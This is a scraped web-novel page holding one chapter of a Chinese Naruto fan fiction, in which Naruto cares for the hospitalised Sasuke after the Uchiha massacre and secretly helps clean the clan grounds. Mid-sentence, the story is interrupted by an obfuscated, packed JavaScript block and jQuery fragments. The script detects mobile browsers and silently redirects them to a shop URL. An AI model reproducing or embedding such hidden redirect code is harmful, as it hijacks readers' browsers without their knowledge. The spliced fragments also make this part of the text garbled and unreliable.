默认冷灰
24号文字
方正启体

11. 陪伴与蚕食

作者:八宝五味粥本书字数:K更新时间:
    讲台上伊鲁卡抑扬顿挫的讲述木叶村发展史,窗外的蝉嘶吼着呼应,惹人心烦。


    鸣人坐在教室中央,眼睛却盯着前方空缺的座位,那是属于佐助的座位。


    他直到现在也没有弄清楚到底发生了什么,只知道某一天佐助住院了,到现在还没有醒,总是在村子里穿行的警卫队也消失了。


    鸣人最初找去了宇智波的族地,那个原本人来人往的地方,现在被一队队带着面具的忍者围着。


    他对宇智波的族地并没有多熟悉,只被强制性带进去过一次而已,但是佐助每天带来的食物让他不自觉将这里和美味的饭食联系起来。


    明明是高傲冷硬的宇智波一族的居所,却他心里和温暖联系紧密。


    鸣人抿着嘴唇盯着那扇紧闭的大门,在得知佐助已经在医院观察后转身离开。


    在加护病房中的佐助被明令禁止探望,直到两天后转移到普通病房。


    那本记满食谱的册子被多次翻阅,那些营养丰富利于吸收的食物被鸣人一次次制作,装进新买的饭盒,带到医院。


    佐助深陷在医院的白色床单中,眉头紧锁着,墨色的头发衬得他脸色苍白,连嘴唇都没了血色。


    病床旁的小柜上放着昨天带来的便当,被鸣人和今天新做的餐食替换。


    风从打开的窗户中涌入,吊瓶轻轻摇晃着,透明的药水顺着管道进入泛青的血管,悄无声息的被吸收。


    鸣人轻车熟路的从旁边拉过一张椅子做好,只是安静的看着透明的药瓶里泛起一个个气泡,静静升起然后在顶部破碎。


    病房外响起敲门声,鸣人明白探视的时间已经到了,干脆利落的将物品复位,离开。


    月亮在时间的流逝中慢慢升起,在深夜中格外显眼。


    苏醒的佐助看着窗外高悬的明月,恍惚中竟也笼罩着一层血色,一时之间竟无法分辨自己到底身在何处,只觉得是那血色炼狱的另一种延续。


    陌生的环境使他下意识起身,破碎的药瓶、从手背上扯出的针头提醒他现在到底身在何处。


    第二天鸣人再来的时候只看到一个空空如也的病房。


    鸣人像一阵风从木叶村的街道上刮过,直冲宇智波一族的族地,带着一点微不可查的愤怒。


    原本守在这里的面具忍者消失了,大门虚掩着。


    鸣人在门口踌躇片刻,还是决定进去。


    原本还算热闹的街道一片死寂,路边墙角能看到深褐色的痕迹,散发着不详的气味,偶尔吹过的冷风更是惹得人寒毛直立。


    鸣人搓搓自己有些麻木的肩膀,凭借自己仅有的的记忆和直觉向族地深处走去。


    越是向内,沿途的痕迹便越发明显,似乎在意外发生的时候,人们本能的向此处聚集,直到进入一个大型训练场。


    鸣人左右打量着,觉得这里和学校的操场看起来差不多大,甚至更大些。


    到了这,那些被简易清理过的痕迹越发明显,堆叠在一起昭示着这里曾经发生的事。


    经过这座训练场,能看到一间风格相同,但占地面积更大的房屋,门口的道路上有了重复清洗的痕迹,地面微微发潮。


    鸣人知道,他找到地方了。


    “打扰了。”鸣人推开门的时候轻轻说着不会被回应的招呼,轻手轻脚走进玄关,把鞋子留在门口。


    顺着木质走廊向内,鸣人嘴里呼唤着佐助的名字,又下意识的压低声音,像是怕被谁听见似的。


    在一楼的会客厅内,佐助蹲坐在地上,手上握着毛巾一点点擦拭着榻榻米上的血渍。


    地上未被处理的血渍,随着毛巾的擦拭,在热水的催化下,在灯芯草做成的草席上晕开。


    “佐助。”鸣人轻轻呼唤他的名字。


    “你来做什么。我不是警告过不许随便进入我们宇智波一族的族地吗?”佐助动作不停,也没有回头只是冷淡的发问,长时间未使用的喉咙略有些沙哑。


    鸣人将今天做好的便当放在身前:“这个是我做的便当,这几天我一直……”


    “出去!”佐助直接打断了他的回答“给我出去,不许进来。”


    ……


    宇智波一族的惨案在村子中引起轩然大波,成为了无数人茶前饭后的谈资,最终以佐助的哥哥进入木叶的判忍名单盖棺定论。


    被赶出来的鸣人心里憋着一口气,心想是谁在你住院的时候默默陪护的啊!


    转头又在梦境中的屏幕上多方努力,只可惜那个死板的屏幕就是死死定格在上次终止的位置,既不让往后翻,也不许往前看。


    画面里撑起身子的佐助半边躯体爬满了不详的咒痕,真不知道屏幕内外的哪个佐助更惨一点。


    已经证实了自己真实性的漫画让鸣人也接受了自己身为人柱力的身份,但现在他顾不上去思考太多,毕竟村里人对他的态度也不会因为他知道自己的身份而有所改变,现在更重要的是佐助的事。


    鸣人最是知道一直被异样眼光注视着会有什么样的感觉了,也不知道是不是因为这个,佐助到现在都没有回学校上课,每天闷在家里。


    鸣人再次站到了宇智波家的大门外,虽然那个该死的不继续进行的漫画告诉他佐助总是会回到学校的,但是让他完全撒手不管是不可能的。


    吸取到教训的佐助把大门关的紧紧的,没有了鸣人之前溜进去的空隙。


    鸣人沿着高耸的围墙打转,终于在一处墙角发现了从内部攀爬出的藤蔓。


    借助这处藤蔓,漩涡鸣人成功侵入。


    为了防止被发现,鸣人用上了在学校在漫画里学到的所有藏身技,以至少不被佐助发现的动作慢慢进入。


    离训练场越近越是小心谨慎,虽然不知道佐助现在在哪里,但离他家越近越要小心是肯定的。


    果然,在训练场上鸣人发现了佐助忙碌的身影。


    训练场上到处都是泥土翻动的痕迹,原本大片的褐色被新鲜的泥土覆盖,再加上洒水和夯实相信再经过几天风淋日晒,就看不出来曾经的痕迹了。


    鸣人摸着下巴一副学到了的样子,看着佐助手中用到的所有工具,转头给自己也弄了一套一样的。


    从那天开始,鸣人就自觉自发的在放学后偷偷跑进佐助的家,按照之前偷看到的清理怒旁的痕迹。


    因为怕被发现鸣人不敢点灯,每天都放学过来天黑回去,还不忘每天干活之前先观察佐助所在的位置防止撞上。


    就这样一个从内到外一个从外到内,清理整个族地。


    一直自得于自己没被发现的鸣人,在一个下午被突如其来的暴雨堵住了。


    鸣人一手拎着水桶一手抱着锄头直愣望着雨幕,在不知道哪一户的屋檐下躲雨。


    偏头看一看别人家的大门,再看看连绵不断的雨幕,最后还是选择抱紧自己手中的小桶。


    佐助家就算了,这种不知道谁的家里面他可不敢进,尤其是这种电闪雷鸣的昏暗时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536223|203821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刻。


    毕竟现在可没有任何一样东西可以证明这世界上没有鬼呀!


    就在鸣人哀叹自己要在别人家门口熬一天的时候,佐助举着一把雨伞遥遥走来。


    伞面微抬,一双寒星似的眼睛直视过来,鸣人抱着桶靠近墙面往内缩了缩低头假装自己并不存在。


    “进来吧。”佐助举了举手中的雨伞,示意鸣人跟他走。


    鸣人支吾了两声,几个跨步躲进了伞里。


    “好巧哦,在这里遇见啦,我其实马上就回去了,你下雨天怎么还出来转悠啊。”鸣人受不了这份宁静,嘴里叽里呱啦胡乱说着。


    “哼,你以为你躲得很好吗?”佐助早就已经发现了有人和自己一起清理环境,看着那粗糙的处理手法,想也知道是谁。


    在这种恶劣环境下,佐助的良心不允许他把帮助自己的人抛在雨中淋着,略微收拾一下便顺着上次看到的痕迹找来,果不其然逮到一只湿漉漉的小狐狸。


    两个少年人挤在一把伞下还是显得有些拥挤,就算肩贴肩肘对肘另一侧的肩膀还是有了被淋湿的痕迹。


    等他们到佐助家的时候,佐助提前预备的热水已经烧好了,便强硬地要求鸣人去洗澡,直到被推进浴室鸣人还没有反应过来。


    鸣人眨巴眨巴眼睛看着自己手中被塞进来的篮子,里面的洗漱用具一应俱全。


    秉承着既来之则安之的想法,享受起了佐助家的大浴缸。


    他住着的小小公寓里只有淋浴头,这还是他第一次泡澡呢,再加上多日的体力劳动,若不是佐助的多次催促,怕是要睡在里面。


    鸣人裹着浴巾,浑身冒着热气出现在佐助面前,看着外面依旧是雷雨交加的天气,十分自然地对佐助要求。


    “佐助,今天晚上让我留宿吧!”


    “喂,你这家伙也太不客气了吧。”面对这样恶劣的天气,佐助虽然也有了类似的想法,面对鸣人打蛇随棍上的样子还是觉得内心有些不爽。


    最终,佐助还是把他领到了自己位于二楼的房间,这间房地上虽然也铺的榻榻米房中间却放着一张软床。


    “你今天晚上在这里打地铺,但是不许动这个屋子里面的任何东西。”床铺周边的地面上被收拾干净,佐助一边警告着一边从壁橱里掏出一条被褥。


    一个小铁盒随着被褥的离开的空档滚落出来,不是那么严密的顶盖摔开,里面彩色的手里剑散落一地。


    两人同时盯着地上散落的东西,鸣人发誓要是在此前发现小宝宝佐助用的是彩色手里剑他肯定会狠狠嘲笑他,至于现在……


    佐助沉默片刻后将那些手里剑全部收回盒子使劲盖上盖子咚的一声扔回壁橱。转过身恶狠狠盯着鸣人,直到鸣人自觉钻进被褥闭上眼睛。


    天刚亮鸣人就被佐助无情地赶出了房间,两个人还是恢复了之前的模式,一个人偷偷帮忙一个人假装对方不存在。


    只不过和原来相比偷偷帮忙的那个人显得坦然了许多。


    鸣人自觉现在他和佐助的关系大有不同,那份已经过了明路的协助让鸣人越发光明正大起来。


    从原本偷偷摸摸的潜入直接被改成了一有空闲就往佐助家跑,到了周末更是得寸进尺的直接留宿,害得佐助房间里的被褥硬是收不起来了。


    鸣人毫无自觉,凭借着完全本能的行动,侵入蚕食佐助的生活。


    在此之前,佐助有他重要的家人,而从此刻开始,鸣人成为了他仅有的朋友。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)